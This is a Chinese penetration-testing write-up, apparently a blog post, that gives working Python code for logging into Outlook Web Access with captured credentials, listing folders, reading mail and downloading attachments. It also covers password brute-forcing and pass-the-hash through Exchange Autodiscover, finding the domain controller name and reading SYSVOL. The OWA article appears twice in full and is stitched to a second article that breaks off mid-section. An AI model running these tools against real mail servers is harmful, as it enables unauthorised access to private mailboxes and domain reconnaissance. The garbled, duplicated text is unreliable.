0x02 实现思路

我暂时没有找到介绍OWA协议格式的资料,所以只能通过抓包的方式实现;

这里我使用Chrome浏览器自带的抓包工具,在Chrome界面按F12选择`Network`即可。

0x03 实现细节

1.登录操作

访问的url为`https://

需要发送POST请求,数据格式:

destination=https:///owa&flags=4&forcedownlevel=0&username=&password=&passwordText=&isUtf8=1

登录成功后,Cookie包括X-OWA-CANARY,可以作为判断依据

实际登录过程一共发送了三个数据包,如下图:

下载 (5).png

在程序实现上,使用Python的requests库不需要考虑这个细节。

完整的实现代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/checkOWA.py

代码实现了对口令的验证;

这里需要注意OWA只能使用明文口令登录,无法使用hash。

2.访问资源

通过抓包发现,基本上每个操作会按照以下格式实现:

- 发送POST包

- Header中需要设置X-OWA-CANARY和Action

- X-OWA-CANARY可通过登录成功后返回的Cookie获得

- 需要设置Cookie

- POST包的数据格式为JSON

- 返回结果也是JSON格式

为了实现读取邮件内容和下载附件,我们需要通过程序实现以下操作:

(1)读取文件夹下所有邮件的信息

访问的url为"https://

对应的Action为FindItem。

POST包的数据格式:

{"__type":"FindItemJsonRequest:#Exchange","Header":{"__type":"JsonRequestHeaders:#Exchange","RequestServerVersion":"Exchange2013","TimeZoneContext":{"__type":"TimeZoneContext:#Exchange","TimeZoneDefinition":{"__type":"TimeZoneDefinitionType:#Exchange","Id":"SA Pacific Standard Time"}}},"Body":{"__type":"FindItemRequest:#Exchange","ItemShape":{"__type":"ItemResponseShape:#Exchange","BaseShape":"IdOnly"},"ParentFolderIds":[{"__type":"DistinguishedFolderId:#Exchange","Id":""}],"Traversal":"Shallow","Paging":{"__type":"IndexedPageView:#Exchange","BasePoint":"Beginning","Offset":0,"MaxEntriesReturned":999999},"ViewFilter":"All","ClutterFilter":"All","IsWarmUpSearch":0,"ShapeName":"MailListItem","SortOrder":[{"__type":"SortResults:#Exchange","Order":"Descending","Path":{"__type":"PropertyUri:#Exchange","FieldURI":"DateTimeReceived"}}]}}其中``需要修改为具体的文件夹名称,例如`inbox`或`sentitems`,`MaxEntriesReturned`我们可以指定为999999

如下图

下载 (6).png

POST请求的返回结果也是JSON格式,包括文件夹中每个邮件的简要信息(例如标题、发件人、发送时间、是否已读和是否包含附件等,但不包括正文内容),同ews的`GetFolder`操作返回的结果基本相同

这里需要提取出每个邮件对应的`ConversationId`,用作读取邮件内容的参数

在程序实现上,我们需要使用requests中的session对象保持会话状态

具体的实现代码如下:

def ListFolder(url, username, password, folder, mode):
    session = requests.session()
    url1 = 'https://'+ url + '/owa/auth.owa'
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
    } 
    payload = 'destination=https://%s/owa&flags=4&forcedownlevel=0&username=%s&password=%s&passwordText=&isUtf8=1'%(url, username, password)                
    r = session.post(url1, headers=headers, data=payload, verify = False)
    print("[*] Try to login")
    if 'X-OWA-CANARY' in r.cookies:
        print("[+] Valid:%s  %s"%(username, password))
    else:
        print("[!] Login error")
        return 0
    print("[*] Try to ListFolder")
    url2 = 'https://'+ url + '/owa/service.svc?action=FindItem'
    headers = {
        'X-OWA-CANARY': r.cookies['X-OWA-CANARY'],
        'Action': 'FindItem',
        "User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
    }
    body = {"__type":"FindItemJsonRequest:#Exchange","Header":{"__type":"JsonRequestHeaders:#Exchange","RequestServerVersion":"Exchange2013","TimeZoneContext":{"__type":"TimeZoneContext:#Exchange","TimeZoneDefinition":{"__type":"TimeZoneDefinitionType:#Exchange","Id":"SA Pacific Standard Time"}}},"Body":{"__type":"FindItemRequest:#Exchange","ItemShape":{"__type":"ItemResponseShape:#Exchange","BaseShape":"IdOnly"},"ParentFolderIds":[{"__type":"DistinguishedFolderId:#Exchange","Id":""}],"Traversal":"Shallow","Paging":{"__type":"IndexedPageView:#Exchange","BasePoint":"Beginning","Offset":0,"MaxEntriesReturned":999999},"ViewFilter":"All","ClutterFilter":"All","IsWarmUpSearch":0,"ShapeName":"MailListItem","SortOrder":[{"__type":"SortResults:#Exchange","Order":"Descending","Path":{"__type":"PropertyUri:#Exchange","FieldURI":"DateTimeReceived"}}]}}
    body['Body']['ParentFolderIds'][0]['Id'] = folder
    r = session.post(url2, headers=headers, json = body, verify = False)
    for item in json.loads(r.text)['Body']['ResponseMessages']['Items'][0]['RootFolder']['Items']:
print('ConversationId:' + item['ConversationId']['Id'])

代码会对返回结果的JSON格式进行解析,提取出每份邮件的`ConversationId`

(2)读取指定邮件的内容

访问的url为"https://

对应的Action为GetConversationItems。

POST包的数据格式:

{"__type":"GetConversationItemsJsonRequest:#Exchange","Header":{"__type":"JsonRequestHeaders:#Exchange","RequestServerVersion":"Exchange2013","TimeZoneContext":{"__type":"TimeZoneContext:#Exchange","TimeZoneDefinition":{"__type":"TimeZoneDefinitionType:#Exchange","Id":"SA Pacific Standard Time"}}},"Body":{"__type":"GetConversationItemsRequest:#Exchange","Conversations":[{"__type":"ConversationRequestType:#Exchange","ConversationId":{"__type":"ItemId:#Exchange","Id":""},"SyncState":""}],"ItemShape":{"__type":"ItemResponseShape:#Exchange","BaseShape":"IdOnly","FilterHtmlContent":1,"BlockExternalImagesIfSenderUntrusted":1,"AddBlankTargetToLinks":1,"ClientSupportsIrm":1,"InlineImageUrlTemplate":"data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAEALAAAAAABAAEAAAIBTAA7","MaximumBodySize":2097152,"InlineImageUrlOnLoadTemplate":"InlineImageLoader.GetLoader().Load(this)","InlineImageCustomDataTemplate":""},"ShapeName":"ItemPartUniqueBody","SortOrder":"DateOrderDescending","MaxItemsToReturn":20}}其中``需要修改为邮件对应的`ConversationId`

这里需要注意,通过浏览器抓到的POST包数据格式,Python无法识别`false`和`true`,需要将`false`替换成0,将`true`替换成1

POST请求的返回结果是JSON格式,包括邮件的详细内容

这里需要提取出邮件附件对应的`Id`和`ContentType`,用作保存附件操作的参数

具体的实现代码如下:

def ViewMail(url, username, password, ConversationId):
    session = requests.session()
    url1 = 'https://'+ url + '/owa/auth.owa'
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
    } 
    payload = 'destination=https://%s/owa&flags=4&forcedownlevel=0&username=%s&password=%s&passwordText=&isUtf8=1'%(url, username, password)               
    r = session.post(url1, headers=headers, data=payload, verify = False)
    print("[*] Try to login")
    if 'X-OWA-CANARY' in r.cookies:
        print("[+] Valid:%s  %s"%(username, password))
    else:
        print("[!] Login error")
        return 0
    print("[*] Try to ViewMail")
    url2 = 'https://'+ url + '/owa/service.svc?action=GetConversationItems'
    headers = {
        'X-OWA-CANARY': r.cookies['X-OWA-CANARY'],
        'Action': 'GetConversationItems',
        "User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
    }
    body = {"__type":"GetConversationItemsJsonRequest:#Exchange","Header":{"__type":"JsonRequestHeaders:#Exchange","RequestServerVersion":"Exchange2013","TimeZoneContext":{"__type":"TimeZoneContext:#Exchange","TimeZoneDefinition":{"__type":"TimeZoneDefinitionType:#Exchange","Id":"SA Pacific Standard Time"}}},"Body":{"__type":"GetConversationItemsRequest:#Exchange","Conversations":[{"__type":"ConversationRequestType:#Exchange","ConversationId":{"__type":"ItemId:#Exchange","Id":""},"SyncState":""}],"ItemShape":{"__type":"ItemResponseShape:#Exchange","BaseShape":"IdOnly","FilterHtmlContent":1,"BlockExternalImagesIfSenderUntrusted":1,"AddBlankTargetToLinks":1,"ClientSupportsIrm":1,"InlineImageUrlTemplate":"data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAEALAAAAAABAAEAAAIBTAA7","MaximumBodySize":2097152,"InlineImageUrlOnLoadTemplate":"InlineImageLoader.GetLoader().Load(this)","InlineImageCustomDataTemplate":"{id}"},"ShapeName":"ItemPartUniqueBody","SortOrder":"DateOrderDescending","MaxItemsToReturn":20}}
    body['Body']['Conversations'][0]['ConversationId']['Id'] = ConversationId
    r = session.post(url2, headers=headers, json = body, verify = False)  
    for item in json.loads(r.text)['Body']['ResponseMessages']['Items'][0]['Conversation']['ConversationNodes'][0]['Items']:
        print('Subject:' + item['Subject'])
        if 'From' in item:
            print('From:' + item['From']['Mailbox']['Name'])
            print('FromEmailAddress:' + item['From']['Mailbox']['EmailAddress'])
        else:
            print('From:' + 'Self')
        for user in item['ToRecipients']:
            print('ToRecipients:' + user['Name'])
            print('ToRecipientsEmailAddress:' + user['EmailAddress'])
        print('DisplayTo:' + item['DisplayTo'])
        print('HasAttachments:' + str(item['HasAttachments']))
        if item['HasAttachments'] == True:
            for att in item['Attachments']:
                print('  Name:' + att['Name'])
                print('  ContentType:' + att['ContentType'])      
                print('  Id:' + att['AttachmentId']['Id'])    
        print('IsRead:' + str(item['IsRead']))
        print('DateTimeReceived:' + item['DateTimeReceived'])
        print('Body:\r\n' + item['UniqueBody']['Value'])
        print('\r\n')         
    r.close()

代码会对返回结果的JSON格式进行解析,提取出邮件的具体内容,如果包含多个附件,会逐个输出Name、ContentType和Id。

(3)下载附件并保存

访问的url为`https://

其中`

这里使用GET请求,返回结果的header中包括附件的文件名称,返回结果的网页内容为附件的内容

在保存附件时需要注意保存的格式,区分是文本文件还是二进制文件:

· 如果是文本文件,可保存`r.text`的内容

· 如果是二进制文件,可保存`r.content`的内容

具体的实现代码如下:

def DownloadAttachment(url, username, password, Id, mode):
    session = requests.session()
    url1 = 'https://'+ url + '/owa/auth.owa'
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
    } 
    payload = 'destination=https://%s/owa&flags=4&forcedownlevel=0&username=%s&password=%s&passwordText=&isUtf8=1'%(url, username, password)               
    r = session.post(url1, headers=headers, data=payload, verify = False)
    print("[*] Try to login")
    if 'X-OWA-CANARY' in r.cookies:
        print("[+] Valid:%s  %s"%(username, password))
    else:
        print("[!] Login error")
        return 0
    print("[*] Try to DownloadAttachment")
    url2 = 'https://'+ url + '/owa/service.svc/s/GetFileAttachment?id=' + Id + '&X-OWA-CANARY=' + r.cookies['X-OWA-CANARY']
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
    }
    r = session.get(url2, headers=headers, verify = False)
    pattern_name = re.compile(r"\"(.*?)\"")
    name = pattern_name.findall(r.headers['Content-Disposition'])
    print('[+] Attachment name: %s'%(name[0]))
    if mode == 'text':
        with open(name[0], 'w+', encoding='utf-8') as file_object:
            file_object.write(r.text)     
    elif mode == 'raw':
        with open(name[0], 'wb+') as file_object:
            file_object.write(r.content) 
    r.close()

完整的实现代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/owaManage.py

使用示例:

(1)查看发件箱中的邮件

python owaManage.py 192.168.1.1 test1 DomainUser123! ListFolder

· 指定文件夹:sentitems

· 指定输出结果类型:full

如下图:

下载 (7).png

结果返回邮件总数和每个邮件的信息,这里获取邮件对应的ConversationId`:`AAQkADc4YjRlNDc1LWI0YjctNDEzZi1hNTQ5LWZkYWY0ZGZhZDM0NgAQAJdkOHS5cphDrNGlVbVpnIo=

(2)读取邮件内容

python owaManage.py 192.168.1.1 test1 DomainUser123! ViewMail

· 指定邮件对应的ConversationId

如下图:

下载 (8).png

结果返回邮件的具体内容,这里获得附件111.txt的类型为`text/plain`,对应的

Id:AAMkADc4YjRlNDc1LWI0YjctNDEzZi1hNTQ5LWZkYWY0ZGZhZDM0NgBGAAAAAABEBlGH6URWQp6Nlg9RxLmyBwA1ZCfAg9a0Sq75no2JOzsqAAAAAAEKAAA1ZCfAg9a0Sq75no2JOzsqAAAAAByNAAABEgAQAO2T/TJsdj9Emo9dwiMqlrM=

(3)下载附件

python owaManage.py 192.168.1.1 test1 DomainUser123! DownloadAttachment

· 指定附件对应的Id

· 指定保存格式为text

如下图:

下载 (9).png

0x04 小结

本文介绍了编写Python代码实现通过Outlook Web Access(OWA)读取Exchange邮件的实现细节,记录开发过程。

0x00 前言

Outlook Web Access的缩写是OWA,是Exchange用于Web方式收发邮件的界面,默认对所有邮箱用户开启。

通常,我们会使用浏览器访问OWA并读取邮件。但站在渗透测试的角度,我们需要通过命令行实现相同的功能。

目前我没有看到合适的开源代码和参考资料,于是打算基于自己的理解编写Python代码实现读取邮件和下载附件的功能。

0x01 简介

本文将要介绍以下内容:

- 实现思路

- 实现细节

- 编写程序需要注意的问题

- 开源代码

- 使用流程

0x02 实现思路

我暂时没有找到介绍OWA协议格式的资料,所以只能通过抓包的方式实现;

这里我使用Chrome浏览器自带的抓包工具,在Chrome界面按F12选择`Network`即可。

0x03 实现细节

1.登录操作

访问的url为`https://

需要发送POST请求,数据格式:

destination=https:///owa&flags=4&forcedownlevel=0&username=&password=&passwordText=&isUtf8=1

登录成功后,Cookie包括X-OWA-CANARY,可以作为判断依据

实际登录过程一共发送了三个数据包,如下图:

下载 (5).png

在程序实现上,使用Python的requests库不需要考虑这个细节。

完整的实现代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/checkOWA.py

代码实现了对口令的验证;

这里需要注意OWA只能使用明文口令登录,无法使用hash。

2.访问资源

通过抓包发现,基本上每个操作会按照以下格式实现:

- 发送POST包

- Header中需要设置X-OWA-CANARY和Action

- X-OWA-CANARY可通过登录成功后返回的Cookie获得

- 需要设置Cookie

- POST包的数据格式为JSON

- 返回结果也是JSON格式

为了实现读取邮件内容和下载附件,我们需要通过程序实现以下操作:

(1)读取文件夹下所有邮件的信息

访问的url为"https://

对应的Action为FindItem。

POST包的数据格式:

{"__type":"FindItemJsonRequest:#Exchange","Header":{"__type":"JsonRequestHeaders:#Exchange","RequestServerVersion":"Exchange2013","TimeZoneContext":{"__type":"TimeZoneContext:#Exchange","TimeZoneDefinition":{"__type":"TimeZoneDefinitionType:#Exchange","Id":"SA Pacific Standard Time"}}},"Body":{"__type":"FindItemRequest:#Exchange","ItemShape":{"__type":"ItemResponseShape:#Exchange","BaseShape":"IdOnly"},"ParentFolderIds":[{"__type":"DistinguishedFolderId:#Exchange","Id":""}],"Traversal":"Shallow","Paging":{"__type":"IndexedPageView:#Exchange","BasePoint":"Beginning","Offset":0,"MaxEntriesReturned":999999},"ViewFilter":"All","ClutterFilter":"All","IsWarmUpSearch":0,"ShapeName":"MailListItem","SortOrder":[{"__type":"SortResults:#Exchange","Order":"Descending","Path":{"__type":"PropertyUri:#Exchange","FieldURI":"DateTimeReceived"}}]}}其中``需要修改为具体的文件夹名称,例如`inbox`或`sentitems`,`MaxEntriesReturned`我们可以指定为999999

如下图

下载 (6).png

POST请求的返回结果也是JSON格式,包括文件夹中每个邮件的简要信息(例如标题、发件人、发送时间、是否已读和是否包含附件等,但不包括正文内容),同ews的`GetFolder`操作返回的结果基本相同

这里需要提取出每个邮件对应的`ConversationId`,用作读取邮件内容的参数

在程序实现上,我们需要使用requests中的session对象保持会话状态

具体的实现代码如下:

def ListFolder(url, username, password, folder, mode):
    session = requests.session()
    url1 = 'https://'+ url + '/owa/auth.owa'
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
    } 
    payload = 'destination=https://%s/owa&flags=4&forcedownlevel=0&username=%s&password=%s&passwordText=&isUtf8=1'%(url, username, password)                
    r = session.post(url1, headers=headers, data=payload, verify = False)
    print("[*] Try to login")
    if 'X-OWA-CANARY' in r.cookies:
        print("[+] Valid:%s  %s"%(username, password))
    else:
        print("[!] Login error")
        return 0
    print("[*] Try to ListFolder")
    url2 = 'https://'+ url + '/owa/service.svc?action=FindItem'
    headers = {
        'X-OWA-CANARY': r.cookies['X-OWA-CANARY'],
        'Action': 'FindItem',
        "User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
    }
    body = {"__type":"FindItemJsonRequest:#Exchange","Header":{"__type":"JsonRequestHeaders:#Exchange","RequestServerVersion":"Exchange2013","TimeZoneContext":{"__type":"TimeZoneContext:#Exchange","TimeZoneDefinition":{"__type":"TimeZoneDefinitionType:#Exchange","Id":"SA Pacific Standard Time"}}},"Body":{"__type":"FindItemRequest:#Exchange","ItemShape":{"__type":"ItemResponseShape:#Exchange","BaseShape":"IdOnly"},"ParentFolderIds":[{"__type":"DistinguishedFolderId:#Exchange","Id":""}],"Traversal":"Shallow","Paging":{"__type":"IndexedPageView:#Exchange","BasePoint":"Beginning","Offset":0,"MaxEntriesReturned":999999},"ViewFilter":"All","ClutterFilter":"All","IsWarmUpSearch":0,"ShapeName":"MailListItem","SortOrder":[{"__type":"SortResults:#Exchange","Order":"Descending","Path":{"__type":"PropertyUri:#Exchange","FieldURI":"DateTimeReceived"}}]}}
    body['Body']['ParentFolderIds'][0]['Id'] = folder
    r = session.post(url2, headers=headers, json = body, verify = False)
    for item in json.loads(r.text)['Body']['ResponseMessages']['Items'][0]['RootFolder']['Items']:
print('ConversationId:' + item['ConversationId']['Id'])

代码会对返回结果的JSON格式进行解析,提取出每份邮件的`ConversationId`

(2)读取指定邮件的内容

访问的url为"https://

对应的Action为GetConversationItems。

POST包的数据格式:

{"__type":"GetConversationItemsJsonRequest:#Exchange","Header":{"__type":"JsonRequestHeaders:#Exchange","RequestServerVersion":"Exchange2013","TimeZoneContext":{"__type":"TimeZoneContext:#Exchange","TimeZoneDefinition":{"__type":"TimeZoneDefinitionType:#Exchange","Id":"SA Pacific Standard Time"}}},"Body":{"__type":"GetConversationItemsRequest:#Exchange","Conversations":[{"__type":"ConversationRequestType:#Exchange","ConversationId":{"__type":"ItemId:#Exchange","Id":""},"SyncState":""}],"ItemShape":{"__type":"ItemResponseShape:#Exchange","BaseShape":"IdOnly","FilterHtmlContent":1,"BlockExternalImagesIfSenderUntrusted":1,"AddBlankTargetToLinks":1,"ClientSupportsIrm":1,"InlineImageUrlTemplate":"data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAEALAAAAAABAAEAAAIBTAA7","MaximumBodySize":2097152,"InlineImageUrlOnLoadTemplate":"InlineImageLoader.GetLoader().Load(this)","InlineImageCustomDataTemplate":""},"ShapeName":"ItemPartUniqueBody","SortOrder":"DateOrderDescending","MaxItemsToReturn":20}}其中``需要修改为邮件对应的`ConversationId`

这里需要注意,通过浏览器抓到的POST包数据格式,Python无法识别`false`和`true`,需要将`false`替换成0,将`true`替换成1

POST请求的返回结果是JSON格式,包括邮件的详细内容

这里需要提取出邮件附件对应的`Id`和`ContentType`,用作保存附件操作的参数

具体的实现代码如下:

def ViewMail(url, username, password, ConversationId):
    session = requests.session()
    url1 = 'https://'+ url + '/owa/auth.owa'
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
    } 
    payload = 'destination=https://%s/owa&flags=4&forcedownlevel=0&username=%s&password=%s&passwordText=&isUtf8=1'%(url, username, password)               
    r = session.post(url1, headers=headers, data=payload, verify = False)
    print("[*] Try to login")
    if 'X-OWA-CANARY' in r.cookies:
        print("[+] Valid:%s  %s"%(username, password))
    else:
        print("[!] Login error")
        return 0
    print("[*] Try to ViewMail")
    url2 = 'https://'+ url + '/owa/service.svc?action=GetConversationItems'
    headers = {
        'X-OWA-CANARY': r.cookies['X-OWA-CANARY'],
        'Action': 'GetConversationItems',
        "User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
    }
    body = {"__type":"GetConversationItemsJsonRequest:#Exchange","Header":{"__type":"JsonRequestHeaders:#Exchange","RequestServerVersion":"Exchange2013","TimeZoneContext":{"__type":"TimeZoneContext:#Exchange","TimeZoneDefinition":{"__type":"TimeZoneDefinitionType:#Exchange","Id":"SA Pacific Standard Time"}}},"Body":{"__type":"GetConversationItemsRequest:#Exchange","Conversations":[{"__type":"ConversationRequestType:#Exchange","ConversationId":{"__type":"ItemId:#Exchange","Id":""},"SyncState":""}],"ItemShape":{"__type":"ItemResponseShape:#Exchange","BaseShape":"IdOnly","FilterHtmlContent":1,"BlockExternalImagesIfSenderUntrusted":1,"AddBlankTargetToLinks":1,"ClientSupportsIrm":1,"InlineImageUrlTemplate":"data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAEALAAAAAABAAEAAAIBTAA7","MaximumBodySize":2097152,"InlineImageUrlOnLoadTemplate":"InlineImageLoader.GetLoader().Load(this)","InlineImageCustomDataTemplate":"{id}"},"ShapeName":"ItemPartUniqueBody","SortOrder":"DateOrderDescending","MaxItemsToReturn":20}}
    body['Body']['Conversations'][0]['ConversationId']['Id'] = ConversationId
    r = session.post(url2, headers=headers, json = body, verify = False)  
    for item in json.loads(r.text)['Body']['ResponseMessages']['Items'][0]['Conversation']['ConversationNodes'][0]['Items']:
        print('Subject:' + item['Subject'])
        if 'From' in item:
            print('From:' + item['From']['Mailbox']['Name'])
            print('FromEmailAddress:' + item['From']['Mailbox']['EmailAddress'])
        else:
            print('From:' + 'Self')
        for user in item['ToRecipients']:
            print('ToRecipients:' + user['Name'])
            print('ToRecipientsEmailAddress:' + user['EmailAddress'])
        print('DisplayTo:' + item['DisplayTo'])
        print('HasAttachments:' + str(item['HasAttachments']))
        if item['HasAttachments'] == True:
            for att in item['Attachments']:
                print('  Name:' + att['Name'])
                print('  ContentType:' + att['ContentType'])      
                print('  Id:' + att['AttachmentId']['Id'])    
        print('IsRead:' + str(item['IsRead']))
        print('DateTimeReceived:' + item['DateTimeReceived'])
        print('Body:\r\n' + item['UniqueBody']['Value'])
        print('\r\n')         
    r.close()

代码会对返回结果的JSON格式进行解析,提取出邮件的具体内容,如果包含多个附件,会逐个输出Name、ContentType和Id。

(3)下载附件并保存

访问的url为`https://

其中`

这里使用GET请求,返回结果的header中包括附件的文件名称,返回结果的网页内容为附件的内容

在保存附件时需要注意保存的格式,区分是文本文件还是二进制文件:

· 如果是文本文件,可保存`r.text`的内容

· 如果是二进制文件,可保存`r.content`的内容

具体的实现代码如下:

def DownloadAttachment(url, username, password, Id, mode):
    session = requests.session()
    url1 = 'https://'+ url + '/owa/auth.owa'
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
    } 
    payload = 'destination=https://%s/owa&flags=4&forcedownlevel=0&username=%s&password=%s&passwordText=&isUtf8=1'%(url, username, password)               
    r = session.post(url1, headers=headers, data=payload, verify = False)
    print("[*] Try to login")
    if 'X-OWA-CANARY' in r.cookies:
        print("[+] Valid:%s  %s"%(username, password))
    else:
        print("[!] Login error")
        return 0
    print("[*] Try to DownloadAttachment")
    url2 = 'https://'+ url + '/owa/service.svc/s/GetFileAttachment?id=' + Id + '&X-OWA-CANARY=' + r.cookies['X-OWA-CANARY']
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
    }
    r = session.get(url2, headers=headers, verify = False)
    pattern_name = re.compile(r"\"(.*?)\"")
    name = pattern_name.findall(r.headers['Content-Disposition'])
    print('[+] Attachment name: %s'%(name[0]))
    if mode == 'text':
        with open(name[0], 'w+', encoding='utf-8') as file_object:
            file_object.write(r.text)     
    elif mode == 'raw':
        with open(name[0], 'wb+') as file_object:
            file_object.write(r.content) 
    r.close()

完整的实现代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/owaManage.py

使用示例:

(1)查看发件箱中的邮件

python owaManage.py 192.168.1.1 test1 DomainUser123! ListFolder

· 指定文件夹:sentitems

· 指定输出结果类型:full

如下图:

下载 (7).png

结果返回邮件总数和每个邮件的信息,这里获取邮件对应的ConversationId`:`AAQkADc4YjRlNDc1LWI0YjctNDEzZi1hNTQ5LWZkYWY0ZGZhZDM0NgAQAJdkOHS5cphDrNGlVbVpnIo=

(2)读取邮件内容

python owaManage.py 192.168.1.1 test1 DomainUser123! ViewMail

· 指定邮件对应的ConversationId

如下图:

下载 (8).png

结果返回邮件的具体内容,这里获得附件111.txt的类型为`text/plain`,对应的

Id:AAMkADc4YjRlNDc1LWI0YjctNDEzZi1hNTQ5LWZkYWY0ZGZhZDM0NgBGAAAAAABEBlGH6URWQp6Nlg9RxLmyBwA1ZCfAg9a0Sq75no2JOzsqAAAAAAEKAAA1ZCfAg9a0Sq75no2JOzsqAAAAAByNAAABEgAQAO2T/TJsdj9Emo9dwiMqlrM=

(3)下载附件

python owaManage.py 192.168.1.1 test1 DomainUser123! DownloadAttachment

· 指定附件对应的Id

· 指定保存格式为text

如下图:

下载 (9).png

0x04 小结

本文介绍了编写Python代码实现通过Outlook Web Access(OWA)读取Exchange邮件的实现细节,记录开发过程。

0x00 前言

Autodiscover是Exchange的一个服务,用来简化客户端应用程序的配置流程。用户只需要输入自己的电子邮件地址和密码,就能够通过Autodiscover服务获取运行客户端应用程序所需的配置信息。

在渗透测试中,当我们获得了一个邮件用户的凭据,能够通过Autodiscover服务挖掘出更多有价值的信息。

本文将要介绍通过Autodiscover服务读取配置信息的方法,开源实现代码,分享利用思路。

0x01 简介

本文将要介绍以下内容:

· 通过Autodiscover进行口令爆破的方法

· 通过Autodiscover读取配置信息的方法

· 通过Autodiscover访问Exchange邮件资源的方法

0x02 通过Autodiscover进行口令爆破的方法

对应的URL:https://

验证方式:NTLM Over HTTP Protocol(分别支持明文和NTLM hash登录)

登录失败返回401。

登录成功返回200,内容示例:

image.png

我们可以看到,Autodiscover的验证流程同EWS基本相同,所以在代码实现上也可以参照之前的代码checkEWS.py

这里不再重复介绍,具体细节可参考之前的文章《渗透技巧——Pass the Hash with Exchange Web Service》

实现代码可参照checkAutodiscover.py中的checkautodiscover功能。

0x03 通过Autodiscover读取配置信息的方法

直接通过浏览器访问https://

无法获得配置信息,浏览器返回的内容示例:

image.png

如下图:

Alt text

为了能够读取配置信息,我们需要以下操作:

1.发送GET包,Header中加入NTML认证信息,示例:Authorization: NTLM xxxxxxxxxxx

URL为/autodiscover/autodiscover.xml

指定编码格式为gzip,格式如下:

Accept-Encoding: gzip

2.接收返回结果

提示401 Unauthorized

3.发送POST包

在Header中完成NTML认证,同时Header还需要额外添加以下信息(X-Anchormailbox),指定当前用户的邮箱地址,示例:X-Anchormailbox: [email protected]

POST的内容格式如下:

image.png

其中,{EMailAddress}为当前用户的邮箱地址。

完整数据包示例:

image.png

4.接收返回结果

提示200 OK

返回的Body内容为gzip压缩格式,需要进行解码。

不同版本的Exchange获得的内容有所不同,部分通用的内容如下:

· DisplayName

· LegacyDN

· AutoDiscoverSMTPAddress

其中值得注意的是AD,代表域控制器的计算机名,在Exchange 2013及更老的版本能够获得AD的信息,Exchange2016无法获取。

以上的实现代码可参照checkAutodiscover.py中的checkautodiscover功能。

在之前的文章《渗透技巧——通过Exchange ActiveSync访问内部文件共享》介绍了通过Exchange ActiveSync访问域内共享目录SYSVOL的方法,这里的路径需要指定域控制器的计算机名。

正确的写法:

\\dc1\SYSVOL\test.com\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\GPT.INI

错误的写法:

\\test.com\SYSVOL\test.com\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\GPT.INI

将以上两点进行结合,就能够完整的实现读取域内共享目录SYSVOL的文件。

为了能够支持Exchange2016,这里介绍一种更为通用(支持所有版本)获取域控制器计算机名的方法:通过EWS读取当前用户的配置信息,进而获得域控制器的计算机名。

参考资料:

https://docs.microsoft.com/en-us/exchange/client-developer/exchange-web-services/how-to-get-user-settings-from-exchange-by-using-autodiscover

这里需要注意请求的url为/autodiscover/autodiscover.svc,而不是/EWS/Exchange.asmx。

发送的SOAP格式示例:

image.png

这里需要注意{domain}必须为域名,不能是IP。

返回的结果中,ActiveDirectoryServer表示域控制器的计算机名,如下图:

Alt text

实现代码可参照checkAutodiscover.py中的getusersetting功能。

0x04 通过Autodiscover访问Exchange邮件资源的方法

通过Autodiscover完成身份认证以后,可以使用MAPI OVER HTTP访问Exchange邮件资源。

注:

MAPI OVER HTTP是Outlook同Exchange2016之间默认的通信协议。

MAPI OVER HTTP是Exchange Server 2013 Service Pack 1 (SP1)中实现的新传输协议,用来替代RPC OVER HTTP(也称作Outlook Anywhere)

Exchange2013默认没有启用MAPI OVER HTTP,Outlook同Exchange之间的通信协议使用RPC OVER HTTP。

MAPI OVER HTTP的资料可参考:

https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxcmapihttp/d502edcf-0b22-42f2-8500-019f00d60245

https://interoperability.blob.core.windows.net/files/MS-OXCMAPIHTTP/[MS-OXCMAPIHTTP].pdf

ruler也支持MAPI OVER HTTP的部分功能,可以作为参考。

1.执行命令

流程:

1.connect

2.execute

3.disconnect

2.通过Offline Address Book (OAB)读取GlobalAddressList

使用checkAutodiscover.py

(1)通过Autodiscover获得OABUrl

命令示例:

